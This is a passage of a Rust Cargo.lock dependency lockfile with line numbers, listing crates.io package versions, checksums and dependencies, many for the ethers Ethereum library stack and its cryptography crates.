"0bf7fe51849ea569fd452f37822f606a5cabb684dc918707a0193fd4664ff324" 191 | dependencies = [ 192 | "generic-array 0.14.6", 193 | ] 194 | 195 | [[package]] 196 | name = "block-padding" 197 | version = "0.1.5" 198 | source = "registry+https://github.com/rust-lang/crates.io-index" 199 | checksum = "fa79dedbb091f449f1f39e53edf88d5dbe95f895dae6135a8d7b881fb5af73f5" 200 | dependencies = [ 201 | "byte-tools", 202 | ] 203 | 204 | [[package]] 205 | name = "bs58" 206 | version = "0.4.0" 207 | source = "registry+https://github.com/rust-lang/crates.io-index" 208 | checksum = "771fe0050b883fcc3ea2359b1a96bcfbc090b7116eae7c3c512c7a083fdf23d3" 209 | 210 | [[package]] 211 | name = "bumpalo" 212 | version = "3.11.0" 213 | source = "registry+https://github.com/rust-lang/crates.io-index" 214 | checksum = "c1ad822118d20d2c234f427000d5acc36eabe1e29a348c89b63dd60b13f28e5d" 215 | 216 | [[package]] 217 | name = "byte-slice-cast" 218 | version = "1.2.1" 219 | source = "registry+https://github.com/rust-lang/crates.io-index" 220 | checksum = "87c5fdd0166095e1d463fc6cc01aa8ce547ad77a4e84d42eb6762b084e28067e" 221 | 222 | [[package]] 223 | name = "byte-tools" 224 | version = "0.3.1" 225 | source = "registry+https://github.com/rust-lang/crates.io-index" 226 | checksum = "e3b5ca7a04898ad4bcd41c90c5285445ff5b791899bb1b0abdd2a2aa791211d7" 227 | 228 | [[package]] 229 | name = "byteorder" 230 | version = "1.4.3" 231 | source = "registry+https://github.com/rust-lang/crates.io-index" 232 | checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" 233 | 234 | [[package]] 235 | name = "bytes" 236 | version = "1.2.1" 237 | source = "registry+https://github.com/rust-lang/crates.io-index" 238 | checksum = "ec8a7b6a70fde80372154c65702f00a0f56f3e1c36abbc6c440484be248856db" 239 | dependencies = [ 240 | "serde", 241 | ] 242 | 243 | [[package]] 244 | name = "camino" 245 | version = "1.1.1" 246 | source = "registry+https://github.com/rust-lang/crates.io-index" 247 | checksum = "88ad0e1e3e88dd237a156ab9f571021b8a158caa0ae44b1968a241efb5144c1e" 248 | dependencies = [ 249 | "serde", 250 | ] 251 | 252 | [[package]] 253 | name = "cargo-platform" 254 | version = "0.1.2" 255 | source = "registry+https://github.com/rust-lang/crates.io-index" 256 | checksum = "cbdb825da8a5df079a43676dbe042702f1707b1109f713a01420fbb4cc71fa27" 257 | dependencies = [ 258 | "serde", 259 | ] 260 | 261 | [[package]] 262 | name = "cargo_metadata" 263 | version = "0.15.0" 264 | source = "registry+https://github.com/rust-lang/crates.io-index" 265 | checksum = "3abb7553d5b9b8421c6de7cb02606ff15e0c6eea7d8eadd75ef013fd636bec36" 266 | dependencies = [ 267 | "camino", 268 | "cargo-platform", 269 | "semver", 270 | "serde", 271 | "serde_json", 272 | ] 273 | 274 | [[package]] 275 | name = "cc" 276 | version = "1.0.73" 277 | source = "registry+https://github.com/rust-lang/crates.io-index" 278 | checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11" 279 | 280 | [[package]] 281 | name = "cfg-if" 282 | version = "1.0.0" 283 | source = "registry+https://github.com/rust-lang/crates.io-index" 284 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 285 | 286 | [[package]] 287 | name = "chrono" 288 | version = "0.4.22" 289 | source = "registry+https://github.com/rust-lang/crates.io-index" 290 | checksum = "bfd4d1b31faaa3a89d7934dbded3111da0d2ef28e3ebccdb4f0179f5929d1ef1" 291 | dependencies = [ 292 | "num-integer", 293 | "num-traits", 294 | ] 295 | 296 | [[package]] 297 | name = "cipher" 298 | version = "0.3.0" 299 | source = "registry+https://github.com/rust-lang/crates.io-index" 300 | checksum = "7ee52072ec15386f770805afd189a01c8841be8696bed250fa2f13c4c0d6dfb7" 301 | dependencies = [ 302 | "generic-array 0.14.6", 303 | ] 304 | 305 | [[package]] 306 | name = "coins-bip32" 307 | version = "0.7.0" 308 | source = "registry+https://github.com/rust-lang/crates.io-index" 309 | checksum = "634c509653de24b439672164bbf56f5f582a2ab0e313d3b0f6af0b7345cf2560" 310 | dependencies = [ 311 | "bincode", 312 | "bs58", 313 | "coins-core", 314 | "digest 0.10.3", 315 | "getrandom", 316 | "hmac", 317 | "k256", 318 | "lazy_static", 319 | "serde", 320 | "sha2 0.10.2", 321 | "thiserror", 322 | ] 323 | 324 | [[package]] 325 | name = "coins-bip39" 326 | version = "0.7.0" 327 | source = "registry+https://github.com/rust-lang/crates.io-index" 328 | checksum = "2a11892bcac83b4c6e95ab84b5b06c76d9d70ad73548dd07418269c5c7977171" 329 | dependencies = [ 330 | "bitvec 0.17.4", 331 | "coins-bip32", 332 | "getrandom", 333 | "hex", 334 | "hmac", 335 | "pbkdf2 0.11.0", 336 | "rand", 337 | "sha2 0.10.2", 338 | "thiserror", 339 | ] 340 | 341 | [[package]] 342 | name = "coins-core" 343 | version = "0.7.0" 344 | source = "registry+https://github.com/rust-lang/crates.io-index" 345 | checksum = "c94090a6663f224feae66ab01e41a2555a8296ee07b5f20dab8888bdefc9f617" 346 | dependencies = [ 347 | "base58check", 348 | "base64 0.12.3", 349 | "bech32", 350 | "blake2", 351 | "digest 0.10.3", 352 | "generic-array 0.14.6", 353 | "hex", 354 | "ripemd", 355 | "serde", 356 | "serde_derive", 357 | "sha2 0.10.2", 358 | "sha3", 359 | "thiserror", 360 | ] 361 | 362 | [[package]] 363 | name = "const-oid" 364 | version = "0.9.0" 365 | source = "registry+https://github.com/rust-lang/crates.io-index" 366 | checksum = "722e23542a15cea1f65d4a1419c4cfd7a26706c70871a13a04238ca3f40f1661" 367 | 368 | [[package]] 369 | name = "convert_case" 370 | version = "0.5.0" 371 | source = "registry+https://github.com/rust-lang/crates.io-index" 372 | checksum = "fb4a24b1aaf0fd0ce8b45161144d6f42cd91677fd5940fd431183eb023b3a2b8" 373 | 374 | [[package]] 375 | name = "cpufeatures" 376 | version = "0.2.4" 377 | source = "registry+https://github.com/rust-lang/crates.io-index" 378 | checksum = "dc948ebb96241bb40ab73effeb80d9f93afaad49359d159a5e61be51619fe813" 379 | dependencies = [ 380 | "libc", 381 | ] 382 | 383 | [[package]] 384 | name = "crossbeam-channel" 385 | version = "0.5.6" 386 | source = "registry+https://github.com/rust-lang/crates.io-index" 387 | checksum = "c2dd04ddaf88237dc3b8d8f9a3c1004b506b54b3313403944054d23c0870c521" 388 | dependencies = [ 389 | "cfg-if", 390 | "crossbeam-utils", 391 | ] 392 | 393 | [[package]] 394 | name = "crossbeam-deque" 395 | version = "0.8.2" 396 | source = "registry+https://github.com/rust-lang/crates.io-index" 397 | checksum = "715e8152b692bba2d374b53d4875445368fdf21a94751410af607a5ac677d1fc" 398 | dependencies = [ 399 | "cfg-if", 400 | "crossbeam-epoch", 401 | "crossbeam-utils", 402 | ] 403 | 404 | [[package]] 405 | name = "crossbeam-epoch" 406 | version = "0.9.10" 407 | source = "registry+https://github.com/rust-lang/crates.io-index" 408 | checksum = "045ebe27666471bb549370b4b0b3e51b07f56325befa4284db65fc89c02511b1" 409 | dependencies = [ 410 | "autocfg", 411 | "cfg-if", 412 | "crossbeam-utils", 413 | "memoffset", 414 | "once_cell", 415 | "scopeguard", 416 | ] 417 | 418 | [[package]] 419 | name = "crossbeam-utils" 420 | version = "0.8.11" 421 | source = "registry+https://github.com/rust-lang/crates.io-index" 422 | checksum = "51887d4adc7b564537b15adcfb307936f8075dfcd5f00dde9a9f1d29383682bc" 423 | dependencies = [ 424 | "cfg-if", 425 | "once_cell", 426 | ] 427 | 428 | [[package]] 429 | name = "crunchy" 430 | version = "0.2.2" 431 | source = "registry+https://github.com/rust-lang/crates.io-index" 432 | checksum = "7a81dae078cea95a014a339291cec439d2f232ebe854a9d672b796c6afafa9b7" 433 | 434 | [[package]] 435 | name = "crypto-bigint" 436 | version = "0.4.8" 437 | source = "registry+https://github.com/rust-lang/crates.io-index" 438 | checksum = "9f2b443d17d49dad5ef0ede301c3179cc923b8822f3393b4d2c28c269dd4a122" 439 | dependencies = [ 440 | "generic-array 0.14.6", 441 | "rand_core", 442 | "subtle", 443 | "zeroize", 444 | ] 445 | 446 | [[package]] 447 | name = "crypto-common" 448 | version = "0.1.6" 449 | source = "registry+https://github.com/rust-lang/crates.io-index" 450 | checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" 451 | dependencies = [ 452 | "generic-array 0.14.6", 453 | "typenum", 454 | ] 455 | 456 | [[package]] 457 | name = "ctr" 458 | version = "0.8.0" 459 | source = "registry+https://github.com/rust-lang/crates.io-index" 460 | checksum = "049bb91fb4aaf0e3c7efa6cd5ef877dbbbd15b39dad06d9948de4ec8a75761ea" 461 | dependencies = [ 462 | "cipher", 463 | ] 464 | 465 | [[package]] 466 | name = "der" 467 | version = "0.6.0" 468 | source = "registry+https://github.com/rust-lang/crates.io-index" 469 | checksum = "13dd2ae565c0a381dde7fade45fce95984c568bdcb4700a4fdbe3175e0380b2f" 470 | dependencies = [ 471 | "const-oid", 472 | "zeroize", 473 | ] 474 | 475 | [[package]] 476 | name = "digest" 477 | version = "0.8.1" 478 | source = "registry+https://github.com/rust-lang/crates.io-index" 479 | checksum = "f3d0c8c8752312f9713efd397ff63acb9f85585afbf179282e720e7704954dd5" 480 | dependencies = [ 481 | "generic-array 0.12.4", 482 | ] 483 | 484 | [[package]] 485 | name = "digest" 486 | version = "0.10.3" 487 | source = "registry+https://github.com/rust-lang/crates.io-index" 488 | checksum = "f2fb860ca6fafa5552fb6d0e816a69c8e49f0908bf524e30a90d97c85892d506" 489 | dependencies = [ 490 | "block-buffer 0.10.2", 491 | "crypto-common", 492 | "subtle", 493 | ] 494 | 495 | [[package]] 496 | name = "dunce" 497 | version = "1.0.2" 498 | source = "registry+https://github.com/rust-lang/crates.io-index" 499 | checksum = "453440c271cf5577fd2a40e4942540cb7d0d2f85e27c8d07dd0023c925a67541" 500 | 501 | [[package]] 502 | name = "ecdsa" 503 | version = "0.14.4" 504 | source = "registry+https://github.com/rust-lang/crates.io-index" 505 | checksum = "e852f4174d2a8646a0fa8a34b55797856c722f86267deb0aa1e93f7f247f800e" 506 | dependencies = [ 507 | "der", 508 | "elliptic-curve", 509 | "rfc6979", 510 | "signature", 511 | ] 512 | 513 | [[package]] 514 | name = "either" 515 | version = "1.8.0" 516 | source = "registry+https://github.com/rust-lang/crates.io-index" 517 | checksum = "90e5c1c8368803113bf0c9584fc495a58b86dc8a29edbf8fe877d21d9507e797" 518 | 519 | [[package]] 520 | name = "elliptic-curve" 521 | version = "0.12.3" 522 | source = "registry+https://github.com/rust-lang/crates.io-index" 523 | checksum = "e7bb888ab5300a19b8e5bceef25ac745ad065f3c9f7efc6de1b91958110891d3" 524 | dependencies = [ 525 | "base16ct", 526 | "crypto-bigint", 527 | "der", 528 | "digest 0.10.3", 529 | "ff", 530 | "generic-array 0.14.6", 531 | "group", 532 | "pkcs8", 533 | "rand_core", 534 | "sec1", 535 | "subtle", 536 | "zeroize", 537 | ] 538 | 539 | [[package]] 540 | name = "encoding_rs" 541 | version = "0.8.31" 542 | source = "registry+https://github.com/rust-lang/crates.io-index" 543 | checksum = "9852635589dc9f9ea1b6fe9f05b50ef208c85c834a562f0c6abb1c475736ec2b" 544 | dependencies = [ 545 | "cfg-if", 546 | ] 547 | 548 | [[package]] 549 | name = "eth-keystore" 550 | version = "0.4.2" 551 | source = "registry+https://github.com/rust-lang/crates.io-index" 552 | checksum = "6f65b750ac950f2f825b36d08bef4cda4112e19a7b1a68f6e2bb499413e12440" 553 | dependencies = [ 554 | "aes", 555 | "ctr", 556 | "digest 0.10.3", 557 | "hex", 558 | "hmac", 559 | "pbkdf2 0.11.0", 560 | "rand", 561 | "scrypt", 562 | "serde", 563 | "serde_json", 564 | "sha2 0.10.2", 565 | "sha3", 566 | "thiserror", 567 | "uuid", 568 | ] 569 | 570 | [[package]] 571 | name = "ethabi" 572 | version = "17.2.0" 573 | source = "registry+https://github.com/rust-lang/crates.io-index" 574 | checksum = "e4966fba78396ff92db3b817ee71143eccd98acf0f876b8d600e585a670c5d1b" 575 | dependencies = [ 576 | "ethereum-types", 577 | "hex", 578 | "once_cell", 579 | "regex", 580 | "serde", 581 | "serde_json", 582 | "sha3", 583 | "thiserror", 584 | "uint", 585 | ] 586 | 587 | [[package]] 588 | name = "ethbloom" 589 | version = "0.12.1" 590 | source = "registry+https://github.com/rust-lang/crates.io-index" 591 | checksum = "11da94e443c60508eb62cf256243a64da87304c2802ac2528847f79d750007ef" 592 | dependencies = [ 593 | "crunchy", 594 | "fixed-hash", 595 | "impl-rlp", 596 | "impl-serde", 597 | "tiny-keccak", 598 | ] 599 | 600 | [[package]] 601 | name = "ethereum-types" 602 | version = "0.13.1" 603 | source = "registry+https://github.com/rust-lang/crates.io-index" 604 | checksum = "b2827b94c556145446fcce834ca86b7abf0c39a805883fe20e72c5bfdb5a0dc6" 605 | dependencies = [ 606 | "ethbloom", 607 | "fixed-hash", 608 | "impl-rlp", 609 | "impl-serde", 610 | "primitive-types", 611 | "uint", 612 | ] 613 | 614 | [[package]] 615 | name = "ethers" 616 | version = "0.17.0" 617 | source = "registry+https://github.com/rust-lang/crates.io-index" 618 | checksum = "16142eeb3155cfa5aec6be3f828a28513a28bd995534f945fa70e7d608f16c10" 619 | dependencies = [ 620 | "ethers-addressbook", 621 | "ethers-contract", 622 | "ethers-core", 623 | "ethers-etherscan", 624 | "ethers-middleware", 625 | "ethers-providers", 626 | "ethers-signers", 627 | ] 628 | 629 | [[package]] 630 | name = "ethers-addressbook" 631 | version = "0.17.0" 632 | source = "registry+https://github.com/rust-lang/crates.io-index" 633 | checksum = "e23f8992ecf45ea9dd2983696aabc566c108723585f07f5dc8c9efb24e52d3db" 634 | dependencies = [ 635 | "ethers-core", 636 | "once_cell", 637 | "serde", 638 | "serde_json", 639 | ] 640 | 641 | [[package]] 642 | name = "ethers-contract" 643 | version = "0.17.0" 644 | source = "registry+https://github.com/rust-lang/crates.io-index" 645 | checksum = "2e0010fffc97c5abcf75a30fd75676b1ed917b2b82beb8270391333618e2847d" 646 | dependencies = [ 647 | "ethers-contract-abigen", 648 | "ethers-contract-derive", 649 | "ethers-core", 650 | "ethers-providers", 651 | "futures-util", 652 | "hex", 653 | "once_cell", 654 | "pin-project", 655 | "serde", 656 | "serde_json", 657 | "thiserror", 658 | ] 659 | 660 | [[package]] 661 | name = "ethers-contract-abigen" 662 | version = "0.17.0" 663 | source = "registry+https://github.com/rust-lang/crates.io-index" 664 | checksum = "bda76ce804d524f693a898dc5857d08f4db443f3da64d0c36237fa05c0ecef30" 665 | dependencies = [ 666 | "Inflector", 667 | "cfg-if", 668 | "dunce", 669 | "ethers-core", 670 | "eyre", 671 | "getrandom", 672 | "hex", 673 | "proc-macro2", 674 | "quote", 675 | "reqwest", 676 | "serde", 677 | "serde_json", 678 | "syn", 679 | "url", 680 | "walkdir", 681 | ] 682 | 683 | [[package]] 684 | name = "ethers-contract-derive" 685 | version = "0.17.0" 686 | source = "registry+https://github.com/rust-lang/crates.io-index" 687 | checksum = "41170ccb5950f559cba5a052158a28ec2d224af3a7d5b266b3278b929538ef55" 688 | dependencies = [ 689 | "ethers-contract-abigen", 690 | "ethers-core", 691 | "hex", 692 | "proc-macro2", 693 | "quote", 694 | "serde_json", 695 | "syn", 696 | ] 697 | 698 | [[package]] 699 | name = "ethers-core" 700 | version = "0.17.0" 701 | source = "registry+https://github.com/rust-lang/crates.io-index" 702 | checksum = "0ebdd63c828f58aa067f40f9adcbea5e114fb1f90144b3a1e2858e0c9b1ff4e8" 703 | dependencies = [ 704 | "arrayvec", 705 | "bytes", 706 | "cargo_metadata", 707 | "chrono", 708 | "convert_case", 709 | "elliptic-curve", 710 | "ethabi", 711 | "fastrlp", 712 | "generic-array 0.14.6", 713 | "hex", 714 | "k256", 715 | "once_cell", 716 | "proc-macro2", 717 | "rand", 718 | "rlp", 719 | "rlp-derive", 720 | "rust_decimal", 721 | "serde", 722 | "serde_json", 723 | "strum", 724 | "syn", 725 | "thiserror", 726 | "tiny-keccak", 727 | "unicode-xid", 728 | ] 729 | 730 | [[package]] 731 | name = "ethers-etherscan" 732 | version = "0.17.0" 733 | source = "registry+https://github.com/rust-lang/crates.io-index" 734 | checksum = "b279a3d00bd219caa2f9a34451b4accbfa9a1eaafc26dcda9d572591528435f0" 735 | dependencies = [ 736 | "ethers-core", 737 | "getrandom", 738 | "reqwest", 739 | "semver", 740 | "serde", 741 | "serde-aux", 742 | "serde_json", 743 | "thiserror", 744 | "tracing", 745 | ] 746 | 747 | [[package]] 748 | name = "ethers-middleware" 749 | version = "0.17.0" 750 | source = "registry+https://github.com/rust-lang/crates.io-index" 751 | checksum = "b1e7e8632d28175352b9454bbcb604643b6ca1de4d36dc99b3f86860d75c132b" 752 | dependencies = [ 753 | "async-trait", 754 | "ethers-contract", 755 | "ethers-core", 756 | "ethers-etherscan", 757 | "ethers-providers", 758 | "ethers-signers", 759 | "futures-locks", 760 | "futures-util", 761 | "instant", 762 | "reqwest", 763 | "serde", 764 | "serde_json", 765 | "thiserror", 766 | "tokio", 767 | "tracing", 768 | "tracing-futures", 769 | "url", 770 | ] 771 | 772 | [[package]] 773 | name = "ethers-providers" 774 | version = "0.17.0" 775 | source = "registry+https://github.com/rust-lang/crates.io-index" 776 | checksum = "e46482e4d1e79b20c338fd9db9e166184eb387f0a4e7c05c5b5c0aa2e8c8900c" 777 | dependencies = [ 778 | "async-trait", 779 | "auto_impl", 780 | "base64 0.13.0", 781 | "ethers-core", 782 | "futures-core", 783 | "futures-timer", 784 | "futures-util", 785 | "getrandom", 786 | "hashers", 787 | "hex", 788 | "http", 789 | "once_cell", 790 | "parking_lot", 791 | "pin-project", 792 | "reqwest", 793 | "serde", 794 | "serde_json", 795 | "thiserror", 796 | "tokio", 797 | "tracing", 798 | "tracing-futures", 799 | "url", 800 | "wasm-bindgen", 801 | "wasm-bindgen-futures", 802 | "wasm-timer", 803 | "web-sys", 804 | "ws_stream_wasm", 805 | ] 806 | 807 | [[package]] 808 | name = "ethers-signers" 809 | version = "0.17.0" 810 | source = "registry+https://github.com/rust-lang/crates.io-index" 811 | checksum = "73a72ecad124e8ccd18d6a43624208cab0199e59621b1f0fa6b776b2e0529107" 812 | dependencies = [ 813 | "async-trait", 814 | "coins-bip32", 815 | "coins-bip39", 816 | "elliptic-curve", 817 | "eth-keystore", 818 | "ethers-core", 819 | "hex", 820 | "rand", 821 | "sha2 0.10.2", 822 | "thiserror", 823 | ] 824 | 825 | [[package]] 826 | name = "eyre" 827 | version = "0.6.8" 828 | source = "registry+https://github.com/rust-lang/crates.io-index" 829 | checksum = "4c2b6b5a29c02cdc822728b7d7b8ae1bab3e3b05d44522770ddd49722eeac7eb" 830 | dependencies = [ 831 | "indenter", 832 | "once_cell", 833 | ] 834 | 835 | [[package]] 836 | name = "fake-simd" 837 | version = "0.1.2" 838 | source = "registry+https://github.com/rust-lang/crates.io-index" 839 | checksum = "e88a8acf291dafb59c2d96e8f59828f3838bb1a70398823ade51a84de6a6deed" 840 | 841 | [[package]] 842 | name = "fastrlp" 843 | version = "0.1.3" 844 | source = "registry+https://github.com/rust-lang/crates.io-index" 845 | checksum = "089263294bb1c38ac73649a6ad563dd9a5142c8dc0482be15b8b9acb22a1611e" 846 | dependencies = [ 847 | "arrayvec", 848 | "auto_impl", 849 | "bytes", 850 | "ethereum-types", 851 | "fastrlp-derive", 852 | ] 853 | 854 | [[package]] 855 | name = "fastrlp-derive" 856 | version = "0.1.2" 857 | source = "registry+https://github.com/rust-lang/crates.io-index" 858 | checksum = "e1fa41ebc231af281098b11ad4a4f6182ec9096902afffe948034a20d4e1385a" 859 | dependencies = [ 860 | "bytes", 861 | "proc-macro2", 862 | "quote", 863 | "syn", 864 | ] 865 | 866 | [[package]] 867 | name = "ff" 868 | version = "0.12.0" 869 | source = "registry+https://github.com/rust-lang/crates.io-index" 870 | checksum = "df689201f395c6b90dfe87127685f8dbfc083a5e779e613575d8bd7314300c3e" 871 | dependencies = [ 872 | "rand_core", 873 | "subtle", 874 | ] 875 | 876 | [[package]] 877 | name = "fixed-hash" 878 | version = "0.7.0" 879 | source = "registry+https://github.com/rust-lang/crates.io-index" 880 | checksum = "cfcf0ed7fe52a17a03854ec54a9f76d6d84508d1c0e66bc1793301c73fc8493c" 881 | dependencies = [ 882 | "byteorder", 883 | "rand", 884 | "rustc-hex", 885 | "static_assertions", 886 | ] 887 | 888 | [[package]] 889 | name = "fnv" 890 | version = "1.0.7" 891 | source = "registry+https://github.com/rust-lang/crates.io-index" 892 | checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" 893 | 894 | [[package]] 895 | name = "form_urlencoded" 896 | version = "1.0.1" 897 | source = "registry+https://github.com/rust-lang/crates.io-index" 898 | checksum = "5fc25a87fa4fd2094bffb06925852034d90a17f0d1e05197d4956d3555752191" 899 | dependencies = [ 900 | "matches", 901 | "percent-encoding", 902 | ] 903 | 904 | [[package]] 905 | name = "funty" 906 | version = "2.0.0" 907 | source = "registry+https://github.com/rust-lang/crates.io-index" 908 | checksum = "e6d5a32815ae3f33302d95fdcb2ce17862f8c65363dcfd29360480ba1001fc9c" 909 | 910 | [[package]] 911 | name = "futures" 912 | version = "0.3.23" 913 | source = "registry+https://github.com/rust-lang/crates.io-index" 914 | checksum = "ab30e97ab6aacfe635fad58f22c2bb06c8b685f7421eb1e064a729e2a5f481fa" 915 | dependencies = [ 916 | "futures-channel", 917 | "futures-core", 918 | "futures-executor", 919 | "futures-io", 920 | "futures-sink", 921 | "futures-task", 922 | "futures-util", 923 | ] 924 | 925 | [[package]] 926 | name = "futures-channel" 927 | version = "0.3.23" 928 | source = "registry+https://github.com/rust-lang/crates.io-index" 929 | checksum = "2bfc52cbddcfd745bf1740338492bb0bd83d76c67b445f91c5fb29fae29ecaa1" 930 | dependencies = [ 931 | "futures-core", 932 | "futures-sink", 933 | ] 934 | 935 | [[package]] 936 | name = "futures-core" 937 | version = "0.3.23" 938 | source = "registry+https://github.com/rust-lang/crates.io-index" 939 | checksum = "d2acedae88d38235936c3922476b10fced7b2b68136f5e3c03c2d5be348a1115" 940 | 941 | [[package]] 942 | name = "futures-executor" 943 | version = "0.3.23" 944 | source = "registry+https://github.com/rust-lang/crates.io-index" 945 | checksum = "1d11aa21b5b587a64682c0094c2bdd4df0076c5324961a40cc3abd7f37930528" 946 | dependencies = [ 947 | "futures-core", 948 | "futures-task", 949 | "futures-util", 950 | ] 951 | 952 | [[package]] 953 | name = "futures-io" 954 | version = "0.3.23" 955 | source = "registry+https://github.com/rust-lang/crates.io-index" 956 | checksum = "93a66fc6d035a26a3ae255a6d2bca35eda63ae4c5512bef54449113f7a1228e5" 957 | 958 | [[package]] 959 | name = "futures-locks" 960 | version = "0.7.0" 961 | source = "registry+https://github.com/rust-lang/crates.io-index" 962 | checksum = "3eb42d4fb72227be5778429f9ef5240a38a358925a49f05b5cf702ce7c7e558a" 963 | dependencies = [ 964 | "futures-channel", 965 | "futures-task", 966 | "tokio", 967 | ] 968 | 969 | [[package]] 970 | name = "futures-macro" 971 | version = "0.3.23" 972 | source = "registry+https://github.com/rust-lang/crates.io-index" 973 | checksum = "0db9cce532b0eae2ccf2766ab246f114b56b9cf6d445e00c2549fbc100ca045d" 974 | dependencies = [ 975 | "proc-macro2", 976 | "quote", 977 | "syn", 978 | ] 979 | 980 | [[package]] 981 | name = "futures-sink" 982 | version = "0.3.23" 983 | source = "registry+https://github.com/rust-lang/crates.io-index" 984 | checksum = "ca0bae1fe9752cf7fd9b0064c674ae63f97b37bc714d745cbde0afb7ec4e6765" 985 | 986 | [[package]] 987 | name = "futures-task" 988 | version = "0.3.23" 989 | source = "registry+https://github.com/rust-lang/crates.io-index" 990 | checksum = "842fc63b931f4056a24d59de13fb1272134ce261816e063e634ad0c15cdc5306" 991 | 992 | [[package]] 993 | name = "futures-timer" 994 | version = "3.0.2" 995 | source = "registry+https://github.com/rust-lang/crates.io-index" 996 | checksum = "e64b03909df88034c26dc1547e8970b91f98bdb65165d6a4e9110d94263dbb2c" 997 | 998 | [[package]] 999 | name = "futures-util" 1000 | version = "0.3.23" 1001 | source = "registry+https://github.com/rust-lang/crates.io-index" 1002 | checksum = "f0828a5471e340229c11c77ca80017937ce3c58cb788a17e5f1c2d5c485a9577" 1003 | dependencies = [ 1004 | "futures-channel", 1005 | "futures-core", 1006 | "futures-io", 1007 | "futures-macro", 1008 | "futures-sink", 1009 | "futures-task", 1010 | "memchr", 1011 | "pin-project-lite", 1012 | "pin-utils", 1013 | "slab", 1014 | ] 1015 | 1016 | [[package]] 1017 | name = "fxhash" 1018 | version = "0.2.1" 1019 | source = "registry+https://github.com/rust-lang/crates.io-index" 1020 | checksum = "c31b6d751ae2c7f11320402d34e41349dd1016f8d5d45e48c4312bc8625af50c" 1021 | dependencies = [ 1022 | "byteorder", 1023 | ] 1024 | 1025 | [[package]] 1026 | name = "generic-array" 1027 | version = "0.12.4" 1028 | source = "registry+https://github.com/rust-lang/crates.io-index" 1029 | checksum = "ffdf9f34f1447443d37393cc6c2b8313aebddcd96906caf34e54c68d8e57d7bd" 1030 | dependencies = [ 1031 | "typenum", 1032 | ] 1033 | 1034 | [[package]] 1035 | name = "generic-array" 1036 | version = "0.14.6" 1037 | source = "registry+https://github.com/rust-lang/crates.io-index" 1038 | checksum = "bff49e947297f3312447abdca79f45f4738097cc82b06e72054d2223f601f1b9" 1039 | dependencies = [ 1040 | "typenum", 1041 | "version_check", 1042 | ] 1043 | 1044 | [[package]] 1045 | name = "getrandom" 1046 | version = "0.2.7" 1047 | source = "registry+https://github.com/rust-lang/crates.io-index" 1048 | checksum = "4eb1a864a501629691edf6c15a593b7a51eebaa1e8468e9ddc623de7c9b58ec6" 1049 | dependencies = [ 1050 | "cfg-if", 1051 | "js-sys", 1052 | "libc", 1053 | "wasi", 1054 | "wasm-bindgen", 1055 | ] 1056 | 1057 | [[package]] 1058 | name = "group" 1059 | version = "0.12.0" 1060 | source = "registry+https://github.com/rust-lang/crates.io-index" 1061 | checksum = "7391856def869c1c81063a03457c676fbcd419709c3dfb33d8d319de484b154d" 1062 | dependencies = [ 1063 | "ff", 1064 | "rand_core", 1065 | "subtle", 1066 | ] 1067 | 1068 | [[package]] 1069 | name = "h2" 1070 | version = "0.3.14" 1071 | source = "registry+https://github.com/rust-lang/crates.io-index" 1072 | checksum = "5ca32592cf21ac7ccab1825cd87f6c9b3d9022c44d086172ed0966bec8af30be" 1073 | dependencies = [ 1074 | "bytes", 1075 | "fnv", 1076 | "futures-core", 1077 | "futures-sink", 1078 | "futures-util", 1079 | "http", 1080 | "indexmap", 1081 | "slab", 1082 | "tokio", 1083 | "tokio-util", 1084 | "tracing", 1085 | ] 1086 | 1087 | [[package]] 1088 | name = "hashbrown" 1089 | version = "0.12.3" 1090 | source = "registry+https://github.com/rust-lang/crates.io-index" 1091 | checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" 1092 | 1093 | [[package]] 1094 | name = "hashers" 1095 | version = "1.0.1" 1096 | source = "registry+https://github.com/rust-lang/crates.io-index" 1097 | checksum = "b2bca93b15ea5a746f220e56587f71e73c6165eab783df9e26590069953e3c30" 1098 | dependencies = [ 1099 | "fxhash", 1100 | ] 1101 | 1102 | [[package]] 1103 | name = "heck" 1104 | version = "0.4.0" 1105 | source = "registry+https://github.com/rust-lang/crates.io-index" 1106 | checksum = "2540771e65fc8cb83cd6e8a237f70c319bd5c29f78ed1084ba5d50eeac86f7f9" 1107 | 1108 | [[package]] 1109 | name = "hermit-abi" 1110 | version = "0.1.19" 1111 | source = "registry+https://github.com/rust-lang/crates.io-index" 1112 | checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" 1113 | dependencies = [ 1114 | "libc", 1115 | ] 1116 | 1117 | [[package]] 1118 | name = "hex" 1119 | version = "0.4.3" 1120 | source = "registry+https://github.com/rust-lang/crates.io-index" 1121 | checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" 1122 | 1123 | [[package]] 1124 | name = "hmac" 1125 | version = "0.12.1" 1126 | source = "registry+https://github.com/rust-lang/crates.io-index" 1127 | checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" 1128 | dependencies = [ 1129 | "digest 0.10.3", 1130 | ] 1131 | 1132 | [[package]] 1133 | name = "http" 1134 | version = "0.2.8" 1135 | source = "registry+https://github.com/rust-lang/crates.io-index" 1136 | checksum = "75f43d41e26995c17e71ee126451dd3941010b0514a81a9d11f3b341debc2399" 1137 | dependencies = [ 1138 | "bytes", 1139 | "fnv", 1140 | "itoa", 1141 | ] 1142 | 1143 | [[package]] 1144 | name = "http-body" 1145 | version = "0.4.5" 1146 | source = "registry+https://github.com/rust-lang/crates.io-index" 1147 | checksum = "d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1" 1148 | dependencies = [ 1149 | "bytes", 1150 | "http", 1151 | "pin-project-lite", 1152 | ] 1153 | 1154 | [[package]] 1155 | name = "httparse" 1156 | version = "1.7.1" 1157 | source = "registry+https://github.com/rust-lang/crates.io-index" 1158 | checksum = "496ce29bb5a52785b44e0f7ca2847ae0bb839c9bd28f69acac9b99d461c0c04c" 1159 | 1160 | [[package]] 1161 | name = "httpdate" 1162 | version = "1.0.2" 1163 | source = "registry+https://github.com/rust-lang/crates.io-index" 1164 | checksum = 